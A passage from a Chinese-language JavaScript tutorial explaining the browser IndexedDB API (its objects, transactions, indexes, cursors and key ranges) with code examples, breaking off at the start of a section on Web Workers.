**（2）异步。** IndexedDB 操作时不会锁死浏览器，用户依然可以进行其他操作，这与 LocalStorage 形成对比，后者的操作是同步的。异步设计是为了防止大量数据的读写，拖慢网页的表现。

**（3）支持事务。** IndexedDB 支持事务（transaction），这意味着一系列操作步骤之中，只要有一步失败，整个事务就都取消，数据库回滚到事务发生之前的状态，不存在只改写一部分数据的情况。

**（4）同源限制。** IndexedDB 受到同源限制，每一个数据库对应创建它的域名。网页只能访问自身域名下的数据库，而不能访问跨域的数据库。

**（5）储存空间大。** IndexedDB 的储存空间比 LocalStorage 大得多，一般来说不少于 250MB，甚至没有上限。

**（6）支持二进制储存。** IndexedDB 不仅可以储存字符串，还可以储存二进制数据（ArrayBuffer 对象和 Blob 对象）。

### 基本概念

IndexedDB 是一个比较复杂的 API，涉及不少概念。它把不同的实体，抽象成一个个对象接口。学习这个 API，就是学习它的各种对象接口。

* 数据库：IDBDatabase 对象
* 对象仓库：IDBObjectStore 对象
* 索引： IDBIndex 对象
* 事务： IDBTransaction 对象
* 操作请求：IDBRequest 对象
* 指针： IDBCursor 对象
* 主键集合：IDBKeyRange 对象

下面是一些主要的概念。

**（1）数据库**

数据库是一系列相关数据的容器。每个域名（严格的说，是协议 + 域名 + 端口）都可以新建任意多个数据库。

IndexedDB 数据库有版本的概念。同一个时刻，只能有一个版本的数据库存在。如果要修改数据库结构（新增或删除表、索引或者主键），只能通过升级数据库版本完成。

**（2）对象仓库**

每个数据库包含若干个对象仓库（object store）。它类似于关系型数据库的表格。

**（3）数据记录**

对象仓库保存的是数据记录。每条记录类似于关系型数据库的行，但是只有主键和数据体两部分。主键用来建立默认的索引，必须是不同的，否则会报错。主键可以是数据记录里面的一个属性，也可以指定为一个递增的整数编号。

```javascript
{ id: 1, text: 'foo' }
```

上面的对象中，`id`属性可以当作主键。

数据体可以是任意数据类型，不限于对象。

**（4）索引**

为了加速数据的检索，可以在对象仓库里面，为不同的属性建立索引。

**（5）事务**

数据记录的读写和删改，都要通过事务完成。事务对象提供`error`、`abort`和`complete`三个事件，用来监听操作结果。

### 操作流程

IndexedDB 数据库的各种操作，一般是按照下面的流程进行的。这个部分只给出简单的代码示例，用于快速上手，详细的各个对象的 API 放在后文介绍。

#### 打开数据库

使用 IndexedDB 的第一步是打开数据库，使用`indexedDB.open()`方法。

```js
var request = window.indexedDB.open(databaseName, version);
```

这个方法接受两个参数，第一个参数是字符串，表示数据库的名字。如果指定的数据库不存在，就会新建数据库。第二个参数是整数，表示数据库的版本。如果省略，打开已有数据库时，默认为当前版本；新建数据库时，默认为`1`。

`indexedDB.open()`方法返回一个 IDBRequest 对象。这个对象通过三种事件`error`、`success`、`upgradeneeded`，处理打开数据库的操作结果。

**（1）error 事件**

`error`事件表示打开数据库失败。

```js
request.onerror = function (event) {
  console.log('数据库打开报错');
};
```

**（2）success 事件**

`success`事件表示成功打开数据库。

```js
var db;

request.onsuccess = function (event) {
  db = request.result;
  console.log('数据库打开成功');
};
```

这时，通过`request`对象的`result`属性拿到数据库对象。

**（3）upgradeneeded 事件**

如果指定的版本号，大于数据库的实际版本号，就会发生数据库升级事件`upgradeneeded`。

```js
var db;

request.onupgradeneeded = function (event) {
  db = event.target.result;
}
```

这时通过事件对象的`target.result`属性，拿到数据库实例。

#### 新建数据库

新建数据库与打开数据库是同一个操作。如果指定的数据库不存在，就会新建。不同之处在于，后续的操作主要在`upgradeneeded`事件的监听函数里面完成，因为这时版本从无到有，所以会触发这个事件。

通常，新建数据库以后，第一件事是新建对象仓库（即新建表）。

```js
request.onupgradeneeded = function(event) {
  db = event.target.result;
  var objectStore = db.createObjectStore('person', { keyPath: 'id' });
}
```

上面代码中，数据库新建成功以后，新增一张叫做`person`的表格，主键是`id`。

更好的写法是先判断一下，这张表格是否存在，如果不存在再新建。

```js
request.onupgradeneeded = function (event) {
  db = event.target.result;
  var objectStore;
  if (!db.objectStoreNames.contains('person')) {
    objectStore = db.createObjectStore('person', { keyPath: 'id' });
  }
}
```

主键（key）是默认建立索引的属性。比如，数据记录是`{ id: 1, name: '张三' }`，那么`id`属性可以作为主键。主键也可以指定为下一层对象的属性，比如`{ foo: { bar: 'baz' } }`的`foo.bar`也可以指定为主键。

如果数据记录里面没有合适作为主键的属性，那么可以让 IndexedDB 自动生成主键。

```js
var objectStore = db.createObjectStore(
  'person',
  { autoIncrement: true }
);
```

上面代码中，指定主键为一个递增的整数。

新建对象仓库以后，下一步可以新建索引。

```js
request.onupgradeneeded = function(event) {
  db = event.target.result;
  var objectStore = db.createObjectStore('person', { keyPath: 'id' });
  objectStore.createIndex('name', 'name', { unique: false });
  objectStore.createIndex('email', 'email', { unique: true });
}
```

上面代码中，`IDBObject.createIndex()`的三个参数分别为索引名称、索引所在的属性、配置对象（说明该属性是否包含重复的值）。

#### 新增数据

新增数据指的是向对象仓库写入数据记录。这需要通过事务完成。

```js
function add() {
  var request = db.transaction(['person'], 'readwrite')
    .objectStore('person')
    .add({ id: 1, name: '张三', age: 24, email: 'zhangsan@example.com' });

  request.onsuccess = function (event) {
    console.log('数据写入成功');
  };

  request.onerror = function (event) {
    console.log('数据写入失败');
  }
}

add();
```

上面代码中，写入数据需要新建一个事务。新建时必须指定表格名称和操作模式（“只读”或“读写”）。

新建事务以后，通过`IDBTransaction.objectStore(name)`方法，拿到 IDBObjectStore 对象，再通过表格对象的`add()`方法，向表格写入一条记录。

写入操作是一个异步操作，通过监听连接对象的`success`事件和`error`事件，了解是否写入成功。

#### 读取数据

读取数据也是通过事务完成。

```js
function read() {
   var transaction = db.transaction(['person']);
   var objectStore = transaction.objectStore('person');
   var request = objectStore.get(1);

   request.onerror = function(event) {
     console.log('事务失败');
   };

   request.onsuccess = function(event) {
      if (request.result) {
        console.log('Name: ' + request.result.name);
        console.log('Age: ' + request.result.age);
        console.log('Email: ' + request.result.email);
      } else {
        console.log('未获得数据记录');
      }
   };
}

read();
```

上面代码中，`objectStore.get()`方法用于读取数据，参数是主键的值。

#### 遍历数据

遍历数据表格的所有记录，要使用指针对象 IDBCursor。

```js
function readAll() {
  var objectStore = db.transaction('person').objectStore('person');

   objectStore.openCursor().onsuccess = function (event) {
     var cursor = event.target.result;

     if (cursor) {
       console.log('Id: ' + cursor.key);
       console.log('Name: ' + cursor.value.name);
       console.log('Age: ' + cursor.value.age);
       console.log('Email: ' + cursor.value.email);
       cursor.continue();
    } else {
      console.log('没有更多数据了！');
    }
  };
}

readAll();
```

上面代码中，新建指针对象的`openCursor()`方法是一个异步操作，所以要监听`success`事件。

#### 更新数据

更新数据要使用`IDBObject.put()`方法。

```js
function update() {
  var request = db.transaction(['person'], 'readwrite')
    .objectStore('person')
    .put({ id: 1, name: '李四', age: 35, email: 'lisi@example.com' });

  request.onsuccess = function (event) {
    console.log('数据更新成功');
  };

  request.onerror = function (event) {
    console.log('数据更新失败');
  }
}

update();
```

上面代码中，`put()`方法自动更新了主键为`1`的记录。

#### 删除数据

`IDBObjectStore.delete()`方法用于删除记录。

```js
function remove() {
  var request = db.transaction(['person'], 'readwrite')
    .objectStore('person')
    .delete(1);

  request.onsuccess = function (event) {
    console.log('数据删除成功');
  };
}

remove();
```

#### 使用索引

索引的意义在于，可以让你搜索任意字段，也就是说从任意字段拿到数据记录。如果不建立索引，默认只能搜索主键（即从主键取值）。

假定新建表格的时候，对`name`字段建立了索引。

```js
objectStore.createIndex('name', 'name', { unique: false });
```

现在，就可以从`name`找到对应的数据记录了。

```js
var transaction = db.transaction(['person'], 'readonly');
var store = transaction.objectStore('person');
var index = store.index('name');
var request = index.get('李四');

request.onsuccess = function (e) {
  var result = e.target.result;
  if (result) {
    // ...
  } else {
    // ...
  }
}
```

### indexedDB 对象

浏览器原生提供`indexedDB`对象，作为开发者的操作接口。

#### indexedDB.open()

`indexedDB.open()`方法用于打开数据库。这是一个异步操作，但是会立刻返回一个 IDBOpenDBRequest 对象。

```js
var openRequest = window.indexedDB.open('test', 1);
```

上面代码表示，打开一个名为`test`、版本为`1`的数据库。如果该数据库不存在，则会新建该数据库。

`open()`方法的第一个参数是数据库名称，格式为字符串，不可省略；第二个参数是数据库版本，是一个大于`0`的正整数（`0`将报错），如果该参数大于当前版本，会触发数据库升级。第二个参数可省略，如果数据库已存在，将打开当前版本的数据库；如果数据库不存在，将创建该版本的数据库，默认版本为`1`。

打开数据库是异步操作，通过各种事件通知客户端。下面是有可能触发的4种事件。

* **success**：打开成功。
* **error**：打开失败。
* **upgradeneeded**：第一次打开该数据库，或者数据库版本发生变化。
* **blocked**：上一次的数据库连接还未关闭。

第一次打开数据库时，会先触发`upgradeneeded`事件，然后触发`success`事件。

#### indexedDB.deleteDatabase()

`indexedDB.deleteDatabase()`方法用于删除一个数据库，参数为数据库的名字。它会立刻返回一个`IDBOpenDBRequest`对象，然后对数据库执行异步删除。删除操作的结果会通过事件通知，`IDBOpenDBRequest`对象可以监听以下事件。

* `success`：删除成功
* `error`：删除报错

调用`deleteDatabase()`方法以后，当前数据库的其他已经打开的连接都会接收到`versionchange`事件。

注意，删除不存在的数据库并不会报错。

#### indexedDB.cmp()

`indexedDB.cmp()`方法比较两个值是否为 indexedDB 的相同的主键。它返回一个整数，表示比较的结果：`0`表示相同，`1`表示第一个主键大于第二个主键，`-1`表示第一个主键小于第二个主键。

```js
window.indexedDB.cmp(1, 2) // -1
```

### IDBRequest 对象

IDBRequest 对象表示打开的数据库连接，`indexedDB.open()`方法和`indexedDB.deleteDatabase()`方法会返回这个对象。数据库的操作都是通过这个对象完成的。

这个对象的所有操作都是异步操作，要通过`readyState`属性判断是否完成，如果为`pending`就表示操作正在进行，如果为`done`就表示操作完成，可能成功也可能失败。

操作完成以后，触发`success`事件或`error`事件，这时可以通过`result`属性和`error`属性拿到操作结果。如果在`pending`阶段，就去读取这两个属性，是会报错的。

IDBRequest 对象有以下属性。

* `IDBRequest.readyState`：等于`pending`表示操作正在进行，等于`done`表示操作正在完成。
* `IDBRequest.result`：返回请求的结果。如果请求失败、结果不可用，读取该属性会报错。
* `IDBRequest.error`：请求失败时，返回错误对象。
* `IDBRequest.source`：返回请求的来源（比如索引对象或 ObjectStore）。
* `IDBRequest.transaction`：返回当前请求正在进行的事务，如果不包含事务，返回`null`。
* `IDBRequest.onsuccess`：指定`success`事件的监听函数。
* `IDBRequest.onerror`：指定`error`事件的监听函数。

IDBOpenDBRequest 对象继承了 IDBRequest 对象，提供了两个额外的事件监听属性。

* `IDBOpenDBRequest.onblocked`：指定`blocked`事件（`upgradeneeded`事件触发时，数据库仍然在使用）的监听函数。
* `IDBOpenDBRequest.onupgradeneeded`：`upgradeneeded`事件的监听函数。

### IDBDatabase 对象

打开数据成功以后，可以从`IDBOpenDBRequest`对象的`result`属性上面，拿到一个`IDBDatabase`对象，它表示连接的数据库。后面对数据库的操作，都通过这个对象完成。

#### 属性

IDBDatabase 对象有以下属性。

* `IDBDatabase.name`：字符串，数据库名称。
* `IDBDatabase.version`：整数，数据库版本。数据库第一次创建时，该属性为空字符串。
* `IDBDatabase.objectStoreNames`：DOMStringList 对象（字符串的集合），包含当前数据的所有 object store 的名字。
* `IDBDatabase.onabort`：指定 abort 事件（事务中止）的监听函数。
* `IDBDatabase.onclose`：指定 close 事件（数据库意外关闭）的监听函数。
* `IDBDatabase.onerror`：指定 error 事件（访问数据库失败）的监听函数。
* `IDBDatabase.onversionchange`：数据库版本变化时触发（发生`upgradeneeded`事件，或调用`indexedDB.deleteDatabase()`）。

下面是`objectStoreNames`属性的例子。该属性返回一个 DOMStringList 对象，包含了当前数据库所有对象仓库的名称（即表名），可以使用 DOMStringList 对象的`contains`方法，检查数据库是否包含某个对象仓库。

```js
if (!db.objectStoreNames.contains('firstOS')) {
  db.createObjectStore('firstOS');
}
```

上面代码先判断某个对象仓库是否存在，如果不存在就创建该对象仓库。

#### 方法

IDBDatabase 对象有以下方法。

* `IDBDatabase.close()`：关闭数据库连接，实际会等所有事务完成后再关闭。
* `IDBDatabase.createObjectStore()`：创建存放数据的对象仓库，类似于传统关系型数据库的表格，返回一个 IDBObjectStore 对象。该方法只能在`versionchange`事件监听函数中调用。
* `IDBDatabase.deleteObjectStore()`：删除指定的对象仓库。该方法只能在`versionchange`事件监听函数中调用。
* `IDBDatabase.transaction()`：返回一个 IDBTransaction 事务对象。

`createObjectStore()`方法还可以接受第二个对象参数，用来设置对象仓库的属性。

```js
db.createObjectStore('test', { keyPath: 'email' });
db.createObjectStore('test2', { autoIncrement: true });
```

上面代码中，`keyPath`属性表示主键（由于主键的值不能重复，所以上例存入之前，必须保证数据的`email`属性值都是不一样的），默认值为`null`；`autoIncrement`属性表示，是否使用自动递增的整数作为主键（第一个数据记录为1，第二个数据记录为2，以此类推），默认为`false`。一般来说，`keyPath`和`autoIncrement`属性只要使用一个就够了，如果两个同时使用，表示主键为递增的整数，且对象不得缺少`keyPath`指定的属性。

下面是`transaction()`方法的例子，该方法用于创建一个数据库事务，返回一个 IDBTransaction 对象。向数据库添加数据之前，必须先创建数据库事务。

```js
var t = db.transaction(['items'], 'readwrite');
```

`transaction()`方法接受两个参数：第一个参数是一个数组，里面是所涉及的对象仓库，通常是只有一个；第二个参数是一个表示操作类型的字符串。目前，操作类型只有两种：`readonly`（只读）和`readwrite`（读写）。添加数据使用`readwrite`，读取数据使用`readonly`。第二个参数是可选的，省略时默认为`readonly`模式。

### IDBObjectStore 对象

IDBObjectStore 对象对应一个对象仓库（object store）。`IDBDatabase.createObjectStore()`方法返回的就是一个 IDBObjectStore 对象。

IDBDatabase 对象的`transaction()`返回一个事务对象，该对象的`objectStore()`方法返回 IDBObjectStore 对象，因此可以采用下面的链式写法。

```js
db.transaction(['test'], 'readonly')
  .objectStore('test')
  .get(X)
  .onsuccess = function (e) {}
```

#### 属性

IDBObjectStore 对象有以下属性。

* `IDBObjectStore.indexNames`：返回一个类似数组的对象（DOMStringList），包含了当前对象仓库的所有索引。
* `IDBObjectStore.keyPath`：返回当前对象仓库的主键。
* `IDBObjectStore.name`：返回当前对象仓库的名称。
* `IDBObjectStore.transaction`：返回当前对象仓库所属的事务对象。
* `IDBObjectStore.autoIncrement`：布尔值，表示主键是否会自动递增。

#### 方法

IDBObjectStore 对象有以下方法。

**（1）IDBObjectStore.add()**

`IDBObjectStore.add()`用于向对象仓库添加数据，返回一个 IDBRequest 对象。该方法只用于添加数据，如果主键相同会报错，因此更新数据必须使用`put()`方法。

```js
objectStore.add(value, key)
```

该方法接受两个参数，第一个参数是键值，第二个参数是主键，该参数可选，如果省略默认为`null`。

创建事务以后，就可以获取对象仓库，然后使用`add()`方法往里面添加数据了。

```js
var db;
var DBOpenRequest = window.indexedDB.open('demo', 1);

DBOpenRequest.onsuccess = function (event) {
  db = DBOpenRequest.result;
  var transaction = db.transaction(['items'], 'readwrite');

  transaction.oncomplete = function (event) {
    console.log('transaction success');
  };

  transaction.onerror = function (event) {
    console.log('transaction error: ' + transaction.error);
  };

  var objectStore = transaction.objectStore('items');
  var objectStoreRequest = objectStore.add({ foo: 1 });

  objectStoreRequest.onsuccess = function (event) {
    console.log('add data success');
  };

};
```

**（2）IDBObjectStore.put()**

`IDBObjectStore.put()`方法用于更新某个主键对应的数据记录，如果对应的键值不存在，则插入一条新的记录。该方法返回一个 IDBRequest 对象。

```js
objectStore.put(item, key)
```

该方法接受两个参数，第一个参数为新数据，第二个参数为主键，该参数可选，且只在自动递增时才有必要提供，因为那时主键不包含在数据值里面。

**（3）IDBObjectStore.clear()**

`IDBObjectStore.clear()`删除当前对象仓库的所有记录。该方法返回一个 IDBRequest 对象。

```js
objectStore.clear()
```

该方法不需要参数。

**（4）IDBObjectStore.delete()**

`IDBObjectStore.delete()`方法用于删除指定主键的记录。该方法返回一个 IDBRequest 对象。

```js
objectStore.delete(Key)
```

该方法的参数为主键的值。

**（5）IDBObjectStore.count()**

`IDBObjectStore.count()`方法用于计算记录的数量。该方法返回一个 IDBRequest 对象。

```js
IDBObjectStore.count(key)
```

不带参数时，该方法返回当前对象仓库的所有记录数量。如果主键或 IDBKeyRange 对象作为参数，则返回对应的记录数量。

**（6）IDBObjectStore.getKey()**

`IDBObjectStore.getKey()`用于获取主键。该方法返回一个 IDBRequest 对象。

```js
objectStore.getKey(key)
```

该方法的参数可以是主键值或 IDBKeyRange 对象。

**（7）IDBObjectStore.get()**

`IDBObjectStore.get()`用于获取主键对应的数据记录。该方法返回一个 IDBRequest 对象。

```js
objectStore.get(key)
```

**（8）IDBObjectStore.getAll()**

`DBObjectStore.getAll()`用于获取对象仓库的记录。该方法返回一个 IDBRequest 对象。

```js
// 获取所有记录
objectStore.getAll()

// 获取所有符合指定主键或 IDBKeyRange 的记录
objectStore.getAll(query)

// 指定获取记录的数量
objectStore.getAll(query, count)
```

**（9）IDBObjectStore.getAllKeys()**

`IDBObjectStore.getAllKeys()`用于获取所有符合条件的主键。该方法返回一个 IDBRequest 对象。

```js
// 获取所有记录的主键
objectStore.getAllKeys()

// 获取所有符合条件的主键
objectStore.getAllKeys(query)

// 指定获取主键的数量
objectStore.getAllKeys(query, count)
```

**（10）IDBObjectStore.index()**

`IDBObjectStore.index()`方法返回指定名称的索引对象 IDBIndex。

```js
objectStore.index(name)
```

有了索引以后，就可以针对索引所在的属性读取数据。

```js
var t = db.transaction(['people'], 'readonly');
var store = t.objectStore('people');
var index = store.index('name');

var request = index.get('foo');
```

上面代码打开对象仓库以后，先用`index()`方法指定获取`name`属性的索引，然后用`get()`方法读取某个`name`属性(`foo`)对应的数据。如果`name`属性不是对应唯一值，这时`get()`方法有可能取回多个数据对象。另外，`get()`是异步方法，读取成功以后，只能在`success`事件的监听函数中处理数据。

**（11）IDBObjectStore.createIndex()**

`IDBObjectStore.createIndex()`方法用于新建当前数据库的一个索引。该方法只能在`VersionChange`监听函数里面调用。

```js
objectStore.createIndex(indexName, keyPath, objectParameters)
```

该方法可以接受三个参数。

* indexName：索引名
* keyPath：主键
* objectParameters：配置对象（可选）

第三个参数可以配置以下属性。

* unique：如果设为`true`，将不允许重复的值
* multiEntry：如果设为`true`，对于有多个值的主键数组，每个值将在索引里面新建一个条目，否则主键数组对应一个条目。

假定对象仓库中的数据记录都是如下的`person`类型。

```js
var person = {
  name: name,
  email: email,
  created: new Date()
};
```

可以指定这个对象的某个属性来建立索引。

```js
var store = db.createObjectStore('people', { autoIncrement: true });

store.createIndex('name', 'name', { unique: false });
store.createIndex('email', 'email', { unique: true });
```

上面代码告诉索引对象，`name`属性不是唯一值，`email`属性是唯一值。

**（12）IDBObjectStore.deleteIndex()**

`IDBObjectStore.deleteIndex()`方法用于删除指定的索引。该方法只能在`VersionChange`监听函数里面调用。

```js
objectStore.deleteIndex(indexName)
```

**（13）IDBObjectStore.openCursor()**

`IDBObjectStore.openCursor()`用于获取一个指针对象。

```js
IDBObjectStore.openCursor()
```

指针对象可以用来遍历数据。该对象也是异步的，有自己的`success`和`error`事件，可以对它们指定监听函数。

```js
var t = db.transaction(['test'], 'readonly');
var store = t.objectStore('test');

var cursor = store.openCursor();

cursor.onsuccess = function (event) {
  var res = event.target.result;
  if (res) {
    console.log('Key', res.key);
    console.dir('Data', res.value);
    res.continue();
  }
}
```

监听函数接受一个事件对象作为参数，该对象的`target.result`属性指向当前数据记录。该记录的`key`和`value`分别返回主键和键值（即实际存入的数据）。`continue()`方法将光标移到下一个数据对象，如果当前数据对象已经是最后一个数据了，则光标指向`null`。

`openCursor()`方法的第一个参数是主键值，或者一个 IDBKeyRange 对象。如果指定该参数，将只处理包含指定主键的记录；如果省略，将处理所有的记录。该方法还可以接受第二个参数，表示遍历方向，默认值为`next`，其他可能的值为`prev`、`nextunique`和`prevunique`。后两个值表示如果遇到重复值，会自动跳过。

**（14）IDBObjectStore.openKeyCursor()**

`IDBObjectStore.openKeyCursor()`用于获取一个主键指针对象。

```js
IDBObjectStore.openKeyCursor()
```

### IDBTransaction 对象

IDBTransaction 对象用来异步操作数据库事务，所有的读写操作都要通过这个对象进行。

`IDBDatabase.transaction()`方法返回的就是一个 IDBTransaction 对象。

```js
var db;
var DBOpenRequest = window.indexedDB.open('demo', 1);

DBOpenRequest.onsuccess = function(event) {
  db = DBOpenRequest.result;
  var transaction = db.transaction(['demo'], 'readwrite');

  transaction.oncomplete = function (event) {
    console.log('transaction success');
  };

  transaction.onerror = function (event) {
    console.log('transaction error: ' + transaction.error);
  };

  var objectStore = transaction.objectStore('demo');
  var objectStoreRequest = objectStore.add({ foo: 1 });

  objectStoreRequest.onsuccess = function (event) {
    console.log('add data success');
  };

};
```

事务的执行顺序是按照**创建的顺序**，而不是发出请求的顺序。

```js
var trans1 = db.transaction('foo', 'readwrite');
var trans2 = db.transaction('foo', 'readwrite');
var objectStore2 = trans2.objectStore('foo')
var objectStore1 = trans1.objectStore('foo')
objectStore2.put('2', 'key');
objectStore1.put('1', 'key');
```

上面代码中，`key`对应的键值最终是`2`，而不是`1`。因为事务`trans1`先于`trans2`创建，所以首先执行。

注意，事务有可能失败，只有监听到事务的`complete`事件，才能保证事务操作成功。

IDBTransaction 对象有以下属性。

* `IDBTransaction.db`：返回当前事务所在的数据库对象 IDBDatabase。
* `IDBTransaction.error`：返回当前事务的错误。如果事务没有结束，或者事务成功结束，或者被手动终止，该方法返回`null`。
* `IDBTransaction.mode`：返回当前事务的模式，默认是`readonly`（只读），另一个值是`readwrite`。
* `IDBTransaction.objectStoreNames`：返回一个类似数组的对象 DOMStringList，成员是当前事务涉及的对象仓库的名字。
* `IDBTransaction.onabort`：指定`abort`事件（事务中断）的监听函数。
* `IDBTransaction.oncomplete`：指定`complete`事件（事务成功）的监听函数。
* `IDBTransaction.onerror`：指定`error`事件（事务失败）的监听函数。

IDBTransaction 对象有以下方法。

* `IDBTransaction.abort()`：终止当前事务，回滚所有已经进行的变更。
* `IDBTransaction.objectStore(name)`：返回指定名称的对象仓库 IDBObjectStore。

### IDBIndex 对象

IDBIndex 对象代表数据库的索引，通过这个对象可以获取数据库里面的记录。

数据记录的主键默认就是带有索引，IDBIndex 对象主要用于通过除主键以外的其他键，建立索引获取对象。

IDBIndex 是持久性的键值对存储。只要插入、更新或删除数据记录，引用的对象库中的记录，索引就会自动更新。

`IDBObjectStore.index()`方法可以获取 IDBIndex 对象。

```js
var transaction = db.transaction(['contactsList'], 'readonly');
var objectStore = transaction.objectStore('contactsList');
var myIndex = objectStore.index('lName');

myIndex.openCursor().onsuccess = function (event) {
  var cursor = event.target.result;
  if (cursor) {
    var tableRow = document.createElement('tr');
    tableRow.innerHTML =   '<td>' + cursor.value.id + '</td>'
                         + '<td>' + cursor.value.lName + '</td>'
                         + '<td>' + cursor.value.fName + '</td>'
                         + '<td>' + cursor.value.jTitle + '</td>'
                         + '<td>' + cursor.value.company + '</td>'
                         + '<td>' + cursor.value.eMail + '</td>'
                         + '<td>' + cursor.value.phone + '</td>'
                         + '<td>' + cursor.value.age + '</td>';
    tableEntry.appendChild(tableRow);

    cursor.continue();
  } else {
    console.log('Entries all displayed.');
  }
};
```

IDBIndex 对象有以下属性。

* `IDBIndex.name`：字符串，索引的名称。
* `IDBIndex.objectStore`：索引所在的对象仓库。
* `IDBIndex.keyPath`：索引的主键。
* `IDBIndex.multiEntry`：布尔值，针对`keyPath`为数组的情况，如果设为`true`，创建数组时，每个数组成员都会有一个条目，否则每个数组都只有一个条目。
* `IDBIndex.unique`：布尔值，表示创建索引时是否允许相同的主键。

IDBIndex 对象有以下方法，它们都是异步的，立即返回的都是一个 IDBRequest 对象。

* `IDBIndex.count()`：用来获取记录的数量。它可以接受主键或 IDBKeyRange 对象作为参数，这时只返回符合主键的记录数量，否则返回所有记录的数量。
* `IDBIndex.get(key)`：用来获取符合指定主键的数据记录。
* `IDBIndex.getKey(key)`：用来获取指定的主键。
* `IDBIndex.getAll()`：用来获取所有的数据记录。它可以接受两个参数，都是可选的，第一个参数用来指定主键，第二个参数用来指定返回记录的数量。如果省略这两个参数，则返回所有记录。由于获取成功时，浏览器必须生成所有对象，所以对性能有影响。如果数据集比较大，建议使用 IDBCursor 对象。
* `IDBIndex.getAllKeys()`：该方法与`IDBIndex.getAll()`方法相似，区别是获取所有主键。
* `IDBIndex.openCursor()`：用来获取一个 IDBCursor 对象，用来遍历索引里面的所有条目。
* `IDBIndex.openKeyCursor()`：该方法与`IDBIndex.openCursor()`方法相似，区别是遍历所有条目的主键。

### IDBCursor 对象

IDBCursor 对象代表指针对象，用来遍历数据仓库（IDBObjectStore）或索引（IDBIndex）的记录。

IDBCursor 对象一般通过`IDBObjectStore.openCursor()`方法获得。

```js
var transaction = db.transaction(['rushAlbumList'], 'readonly');
var objectStore = transaction.objectStore('rushAlbumList');

objectStore.openCursor(null, 'next').onsuccess = function(event) {
  var cursor = event.target.result;
  if (cursor) {
    var listItem = document.createElement('li');
    listItem.innerHTML = cursor.value.albumTitle + ', ' + cursor.value.year;
    list.appendChild(listItem);

    console.log(cursor.source);
    cursor.continue();
  } else {
    console.log('Entries all displayed.');
  }
};
```

IDBCursor 对象的属性。

* `IDBCursor.source`：返回正在遍历的对象仓库或索引。
* `IDBCursor.direction`：字符串，表示指针遍历的方向。共有四个可能的值：next（从头开始向后遍历）、nextunique（从头开始向后遍历，重复的值只遍历一次）、prev（从尾部开始向前遍历）、prevunique（从尾部开始向前遍历，重复的值只遍历一次）。该属性通过`IDBObjectStore.openCursor()`方法的第二个参数指定，一旦指定就不能改变了。
* `IDBCursor.key`：返回当前记录的主键。
* `IDBCursor.value`：返回当前记录的数据值。
* `IDBCursor.primaryKey`：返回当前记录的主键。对于数据仓库（objectStore）来说，这个属性等同于 IDBCursor.key；对于索引，IDBCursor.key 返回索引的位置值，该属性返回数据记录的主键。

IDBCursor 对象有如下方法。

* `IDBCursor.advance(n)`：指针向前移动 n 个位置。
* `IDBCursor.continue()`：指针向前移动一个位置。它可以接受一个主键作为参数，这时会跳转到这个主键。
* `IDBCursor.continuePrimaryKey()`：该方法需要两个参数，第一个是`key`，第二个是`primaryKey`，将指针移到符合这两个参数的位置。
* `IDBCursor.delete()`：用来删除当前位置的记录，返回一个 IDBRequest 对象。该方法不会改变指针的位置。
* `IDBCursor.update()`：用来更新当前位置的记录，返回一个 IDBRequest 对象。它的参数是要写入数据库的新的值。

### IDBKeyRange 对象

IDBKeyRange 对象代表数据仓库（object store）里面的一组主键。根据这组主键，可以获取数据仓库或索引里面的一组记录。

IDBKeyRange 可以只包含一个值，也可以指定上限和下限。它有四个静态方法，用来指定主键的范围。

* `IDBKeyRange.lowerBound()`：指定下限。
* `IDBKeyRange.upperBound()`：指定上限。
* `IDBKeyRange.bound()`：同时指定上下限。
* `IDBKeyRange.only()`：指定只包含一个值。

下面是一些代码实例。

```js
// All keys ≤ x
var r1 = IDBKeyRange.upperBound(x);

// All keys < x
var r2 = IDBKeyRange.upperBound(x, true);

// All keys ≥ y
var r3 = IDBKeyRange.lowerBound(y);

// All keys > y
var r4 = IDBKeyRange.lowerBound(y, true);

// All keys ≥ x && ≤ y
var r5 = IDBKeyRange.bound(x, y);

// All keys > x &&< y
var r6 = IDBKeyRange.bound(x, y, true, true);

// All keys > x && ≤ y
var r7 = IDBKeyRange.bound(x, y, true, false);

// All keys ≥ x &&< y
var r8 = IDBKeyRange.bound(x, y, false, true);

// The key = z
var r9 = IDBKeyRange.only(z);
```

`IDBKeyRange.lowerBound()`、`IDBKeyRange.upperBound()`、`IDBKeyRange.bound()`这三个方法默认包括端点值，可以传入一个布尔值，修改这个属性。

与之对应，IDBKeyRange 对象有四个只读属性。

* `IDBKeyRange.lower`：返回下限
* `IDBKeyRange.lowerOpen`：布尔值，表示下限是否为开区间（即下限是否排除在范围之外）
* `IDBKeyRange.upper`：返回上限
* `IDBKeyRange.upperOpen`：布尔值，表示上限是否为开区间（即上限是否排除在范围之外）

IDBKeyRange 实例对象生成以后，将它作为参数输入 IDBObjectStore 或 IDBIndex 对象的`openCursor()`方法，就可以在所设定的范围内读取数据。

```js
var t = db.transaction(['people'], 'readonly');
var store = t.objectStore('people');
var index = store.index('name');

var range = IDBKeyRange.bound('B', 'D');

index.openCursor(range).onsuccess = function (e) {
  var cursor = e.target.result;
  if (cursor) {
    console.log(cursor.key + ':');

    for (var field in cursor.value) {
      console.log(cursor.value[field]);
    }
    cursor.continue();
  }
}
```

IDBKeyRange 有一个实例方法`includes(key)`，返回一个布尔值，表示某个主键是否包含在当前这个主键组之内。

```js
var keyRangeValue = IDBKeyRange.bound('A', 'K', false, false);

keyRangeValue.includes('F') // true
keyRangeValue.includes('W') // false
```

## Web Worker

### 概述

JavaScript 语言采用的是单线程模型，也就是说，所有任务只能在一个线程上完成，一次只能做一件事。

前面的任务没做完，后面的任务只能等着。随着电脑计算能力的增强，尤其是多核 CPU 的出现，单线程带来很大的不便，无法充分发挥计算机的计算能力。

Web Worker 的作用，就是为 JavaScript 创造多线程环境，允许主线程创建 Worker 线程，将一些任务分配给后者运行。在主线程运行的同时，Worker 线程在后台运行，两者互不干扰。等到 Worker 线程完成计算任务，再把结果返回给主线程。

这样的好处是，一些计算密集型或高延迟的任务可以交由 Worker 线程执行，主线程（通常负责 UI 交互）能够保持流畅，不会被阻塞或拖慢。

Worker 线程一旦新建成功，就会始终运行，不会被主线程上的活动（比如用户点击按钮、提交表单）打断。这样有利于随时响应主线程的通信。但是，这也造成了 Worker 比较耗费资源，不应该过度使用，而且一旦使用完毕，就应该关闭。

Web Worker 的注意点：

（1）**同源限制**

分配给 Worker 线程运行的脚本文件，必须与主线程的脚本文件同源。

（2）**DOM 限制**

Worker 线程所在的全局对象，与主线程不一样，无法读取主线程所在网页的 DOM 对象，也无法使用`document`、`window`、`parent`这些对象。但是，Worker 线程可以使用`navigator`对象和`location`对象。

（3）**全局对象限制**

